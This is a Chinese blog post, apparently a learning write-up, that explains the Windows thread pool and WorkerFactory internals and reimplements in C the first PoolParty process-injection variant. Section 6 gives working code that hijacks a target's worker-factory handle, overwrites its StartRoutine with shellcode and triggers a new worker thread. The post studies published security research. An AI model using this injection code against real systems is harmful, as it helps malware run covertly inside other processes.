1. 线程池介绍
在 Windows 环境中,许多程序需要处理大量短生命周期、异步或事件驱动的任务。如果为每个任务单独创建线程,会增加线程创建、销毁和调度的开销。线程池通过复用工作线程执行不同任务,可以降低这些成本。程序只需要将任务提交给线程池,不需要调用CreateThread()或者 CreateRemoteThread()等函数创建新的线程。
Windows 线程池不仅支持普通工作项,还支持定时器、等待对象和异步 I/O 等多种任务类型。程序提交任务或注册回调后,线程池运行时负责组织工作项,并在适当的时机调度工作线程(不需要手动创建)执行相应的 Callback。对于恶意软件而言,由线程池调用 Callback 执行恶意代码,可能比直接通过 CreateRemoteThread() 创建线程更为隐蔽。
2023年12月,SafeBreach 研究人员在 Black Hat Europe 公开了 PoolParty 系列进程注入技术。与传统的远程线程注入不同,这类技术利用 Windows 线程池的内部机制影响目标进程中的代码执行路径,可用于执行恶意代码。PoolParty 介绍了 8 种变体注入,涉及工作线程工厂、工作项、I/O 完成队列、定时器等不同对象。
本文介绍 PoolParty 的第一种变体注入方式,即利用 WorkerFactory 相实现代码注入。
(原项目 PoolParty 是用 C++代码写的,代码非常优雅整洁。国内已经有些文章介绍了PoolParty,为了加深学习印象,我用 C 语言重新实现了一遍,在此写下学习记录,希望各位不要嫌弃代码混乱;原项目链接已放在文章末尾)
2. 默认线程池和自定义线程池
Windows 为应用程序提供默认线程池,也允许应用程序通过 CreateThreadpool() 创建自定义线程池。两者的主要区别在于管理方式和配置能力。默认线程池由系统管理,应用程序通常直接向其提交工作;自定义线程池允许开发者设置线程数量相关参数,并通过回调环境将特定任务关联到指定线程池。
以下是通过CreateThreadpool() 创建自定义的线程池的一个示例代码
#include <windows.h>
#include <stdio.h>
// 打印带时间戳的日志
void Log(const char* poolName, const char* msg) {
printf("[%04lu ms][线程 %-5lu] [%-12s] %s\n",
GetTickCount(), GetCurrentThreadId(), poolName, msg);
}
// 模拟阻塞型任务
VOID CALLBACK HeavyTask(PTP_CALLBACK_INSTANCE Instance, PVOID Context) {
Log((const char*)Context, "开始执行耗时任务 (挂起 3 秒)...");
Sleep(3000);
Log((const char*)Context, "耗时任务完成");
}
// 模拟快速响应任务
VOID CALLBACK FastTask(PTP_CALLBACK_INSTANCE Instance, PVOID Context) {
Log((const char*)Context, "★ 快速任务【立即响应】完成 ★");
}
int main() {
DWORD startTime = GetTickCount();
printf("===== 实验开始 =====\n");
// 1. 创建自定义线程池并配置回调环境
PTP_POOL customPool = CreateThreadpool(NULL);
SetThreadpoolThreadMaximum(customPool, 2); // 限制最多2个线程
SetThreadpoolThreadMinimum(customPool, 1); // 保持最少1个活跃线程
TP_CALLBACK_ENVIRON cbe;
InitializeThreadpoolEnvironment(&cbe);
SetThreadpoolCallbackPool(&cbe, customPool); // 绑定环境与自定义池
// 2. 向【默认线程池】灌入大量阻塞任务(占用系统工作线程)
// NULL 环境参数即代表提交到默认线程池
for (int i = 0; i < 4; i++) {
TrySubmitThreadpoolCallback(HeavyTask, "DefaultPool", NULL);//第三个参数为 NULL 时,意味着任务提交给了默认的线程池
}
Sleep(100); // 确保阻塞任务已被默认线程池拾取
// 3. 同时派发两个需要快速响应的任务
printf("\n--- 同时提交快速任务 ---\n");
// 提交到默认池(受阻塞任务干扰)
TrySubmitThreadpoolCallback(FastTask, "DefaultPool", NULL);
// 提交到自定义池(完全隔离)
TrySubmitThreadpoolCallback(FastTask, "CustomPool", &cbe);
// 4. 等待所有任务完成
Sleep(4000);
// 5. 清理自定义线程池
DestroyThreadpoolEnvironment(&cbe);
CloseThreadpool(customPool);
printf("===== 实验结束 =====\n");
return 0;
}
TrySubmitThreadpoolCallback() 函数的第三个参数为 NULL 时,意味着任务提交给了默认的线程池;
测试代码中的 TrySubmitThreadpoolCallback(FastTask, "CustomPool", &cbe),任务提交给了自定义的线程池。
程序运行结果如下图所示

自定义线程池 CustomPool 的快速任务在提交后毫秒级立即响应。
默认线程池 DefaultPool 的快速任务可能需要等待系统调度新的默认线程池线程(通常有几百毫秒甚至更长的延迟),或者直到某一个耗时任务结束才开始执行。
默认线程池全进程共享,若某个任务死锁或长时间阻塞,会影响默认池里的其他任务,没有限制数量,进程池的生命周期与进程共存亡
自定义线程池拥有独立的任务队列和专用工作线程,互不影响,可通过函数 SetThreadpoolThreadMaximum/Minimum 精确控制线程数量,可随时创建、清空、销毁 (CloseThreadpool)
3. 工作线程 Worker 介绍
#include <windows.h>
#include <stdio.h>
void CALLBACK WorkCallback(
PTP_CALLBACK_INSTANCE instance,
PVOID context,
PTP_WORK work
)
{
printf("Worker TID = %lu\n", GetCurrentThreadId());
Sleep(10000);
}
int main()
{
printf("PID = %lu\n", GetCurrentProcessId());
PTP_POOL pool = CreateThreadpool(NULL);
SetThreadpoolThreadMinimum(pool, 4);
SetThreadpoolThreadMaximum(pool, 4);
TP_CALLBACK_ENVIRON env;
InitializeThreadpoolEnvironment(&env);
SetThreadpoolCallbackPool(&env, pool);
PTP_WORK work = CreateThreadpoolWork(
WorkCallback,
NULL,
&env
);
for (int i = 0; i < 4; i++)
SubmitThreadpoolWork(work);
WaitForThreadpoolWorkCallbacks(work, FALSE);
CloseThreadpoolWork(work);
DestroyThreadpoolEnvironment(&env);
CloseThreadpool(pool);
return 0;
}

这段测试代码展示了 TP_WORK 工作对象的基本用法:应用程序创建工作对象,通过 SubmitThreadpoolWork() 提交任务,再由线程池中的工作线程执行回调。WaitForThreadpoolWorkCallbacks() 用于等待相关回调完成,避免在任务仍然运行时就进入清理流程。
需要注意的是程序提交的是工作项 TP_WORK,而不是为每个工作项单独创建一个线程。
4. WorkerFactory 介绍
WorkerFactory 是用于管理线程池的工作线程创建及相关运行状态的内核对象。当线程池需要更多工作线程,且当前状态与线程数量配置允许扩展时,WorkerFactory 可以在目标进程中创建新的工作线程;对于空闲时间超过相应超时条件的工作线程,系统也可以将其终止,以回收资源。
用户态的程序不能直接访问 WorkerFactory,只能通过句柄读取 WorkerFactory 相关信息。WorkerFactory 的相关信息存在 WORKER_FACTORY_BASIC_INFORMATION 结构体中
typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum; // WorkerFactory 相关的最小工作线程 Worker 数量配置
ULONG ThreadMaximum; // WorkerFactory 相关的最大工作线程 Worker 数量配置
ULONG PendingWorkerCount; // WorkerFactory 相关的待处理工作线程计数
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount; //当前 Worker 的数量
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine; //线程池里所有工作线程 worker 的统一入口点
PVOID StartParameter; //工作线程 worker 启动例程相关的参数
HANDLE ProcessId; //与该 WorkerFactory 关联的进程标识信息
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
5. 利用 WorkerFactory 实现注入的原理
每个线程池(TP_POOL)通常对应一个 WorkerFactory 句柄。当任务量增加且现有线程被占满时,WorkerFactory 负责在目标进程中派生新的工作线程。
线程池创建新的 Worker Thread 时,WorkerFactory 会使用其记录的 StartRoutine 作为新线程刚启动时默认执行的函数指针。如果攻击者将 StartRoutine 修改为恶意 Shellcode 的内存地址,并增加了 WorkerFactory 最少的工作线程 Worker 数量(+1),那么 WorkerFactory 不得不新创建一个 Worker Thread ,此时线程仍会按照正常的线程创建机制从 StartRoutine 这个入口地址开始执行,但实际执行的已经是攻击者植入的恶意 Shellcode,从而实现代码注入。
6. 注入的代码实现
以下是用 C 语言展示的PoolParty 的第一种变体注入方式,流程如下
6.1 获取 WorkerFactory 句柄
- 打开目标进程句柄,利用 GetModuleHandleA() 和 GetProcAddress()获取以下两个函数 NtQueryInformationProcess()和NtQueryObject()的地址
NtQueryInformationProcess() 主要用于获取指定进程的各种详细信息,在接受 ProcessHandleInformation 这个参数后,会返回目标进程的所有句柄的快照(Snapshot)。
NtQueryObject() 主要用于获取特定内核对象(如文件、注册表项、线程、进程、事件等句柄)的属性和类型信息
- 调用NtQueryInformationProcess()查询目标进程的所有句柄信息
- 调用DuplicateHandle() 用于跨进程复制对象句柄
- 把刚复制的句柄挨个作为参数放进函数NtQueryObject() 中,让系统返回这句柄的类型信息
- 将句柄的类型名称与字符串"TpWorkerFactory"进行对比,找到 TpWorkerFactory 句柄
HANDLE HijackWorkerFactoryHandle(HANDLE hProcess, DWORD pid) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pfnNtQueryInformationProcess NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
pfnNtQueryObject NtQueryObject = (pfnNtQueryObject)GetProcAddress(hNtdll, "NtQueryObject");
ULONG size = 0x10000;
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
NTSTATUS status;
do {
pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)realloc(pHandleInfo, size);
status = NtQueryInformationProcess(hProcess, ProcessHandleInformation, pHandleInfo, size, &size);
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (status != STATUS_SUCCESS) return NULL;
HANDLE hTargetWorkerFactory = NULL;
for (ULONG_PTR i = 0; i < pHandleInfo->NumberOfHandles; i++) {
HANDLE hDup = NULL;
if (DuplicateHandle(hProcess, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hDup, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
BYTE buffer[1024];
ULONG returnLength;
if (NtQueryObject(hDup, 2, buffer, sizeof(buffer), &returnLength) == STATUS_SUCCESS) {
POBJECT_TYPE_INFORMATION pTypeInfo = (POBJECT_TYPE_INFORMATION)buffer;
if (pTypeInfo->TypeName.Buffer && wcscmp(pTypeInfo->TypeName.Buffer, L"TpWorkerFactory") == 0) {
hTargetWorkerFactory = hDup;
printf("[info] Hijacked worker factory handle from the target process: %016IX\n", (ULONG_PTR)pHandleInfo->Handles[i].HandleValue);
break;
}
}
if (!hTargetWorkerFactory) CloseHandle(hDup);
}
}
free(pHandleInfo);
return hTargetWorkerFactory;
}
6.2 获取 WorkerFactory 基本信息
将之前获取的 WorkerFactory 句柄传入函数 NtQueryInformationWorkerFactory() 中,返回结构体中包含该WorkerFactory的基本数据,例如起始例程地址(StartRoutine)、挂起的工作项数量以及当前工作线程的数量
NtQueryInformationWorkerFactory() 是 ntdll.dll 的未公开 API,用于查询 WorkerFactory 对象的内部信息。
WORKER_FACTORY_BASIC_INFORMATION wfbi = { 0 }
GetWorkerFactoryBasicInformationC(hWorkerFactory, &wfbi)
BOOL GetWorkerFactoryBasicInformationC(HANDLE hWorkerFactory, PWORKER_FACTORY_BASIC_INFORMATION pOutInfo) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pfnNtQueryInformationWorkerFactory NtQueryInformationWorkerFactory = (pfnNtQueryInformationWorkerFactory)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");
ULONG returnLength = 0;
NTSTATUS status = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, pOutInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), &returnLength);
if (status == STATUS_SUCCESS) {
printf("[info] Retrieved target worker factory basic information\n");
return TRUE;
}
return FALSE;
}
获取 WorkerFactory 的基本信息后,就可以得知 WORKER_FACTORY_BASIC_INFORMATION 结构体的成员 StartRoutine。前面已经提到 StartRoutine 是一个地址值,是线程池里工作线程 worker 执行时的起点。
6.3 在 StartRoutine 写入 shellcode 并触发执行
在获取目标进程的 WorkerFactory 并查询到 StartRoutine 的具体地址后,将该地址覆盖为预先准备好的 shellcode。接着,通过调用函数 SetWorkerFactoryMinimumThreads() 调整 WorkerFactory 的最小 Worker 数量,迫使其创建新的 Worker Thread,触发执行 shellcode。
SetWorkerFactoryMinimumThreads() 用于设置 WorkerFactory 所维持的最小活跃线程数量
WriteShellcodeToTarget(hProcess, wfbi.StartRoutine, g_Shellcode, shellcodeSize))
BOOL WriteShellcodeToTarget(HANDLE hProcess, PVOID pDest, PBYTE pShellcode, SIZE_T shellcodeSize) {
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, pDest, shellcodeSize, PAGE_EXECUTE_READWRITE, &oldProtect)) return FALSE;
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, pDest, pShellcode, shellcodeSize, &bytesWritten)) {
VirtualProtectEx(hProcess, pDest, shellcodeSize, oldProtect, &oldProtect);
return FALSE;
}
VirtualProtectEx(hProcess, pDest, shellcodeSize, oldProtect, &oldProtect);
//刷新指令缓存,确保 CPU执行shellcode,不执行旧缓存
FlushInstructionCache(hProcess, pDest, shellcodeSize);
printf("[info] Written shellcode to the target process\n");
return TRUE;
}
ULONG newMinThreads = wfbi.TotalWorkerCount + 1;
SetWorkerFactoryMinimumThreads(hWorkerFactory, newMinThreads); //WorkerFactory 的 worker 线程+1
成功实现注入

7. 参考链接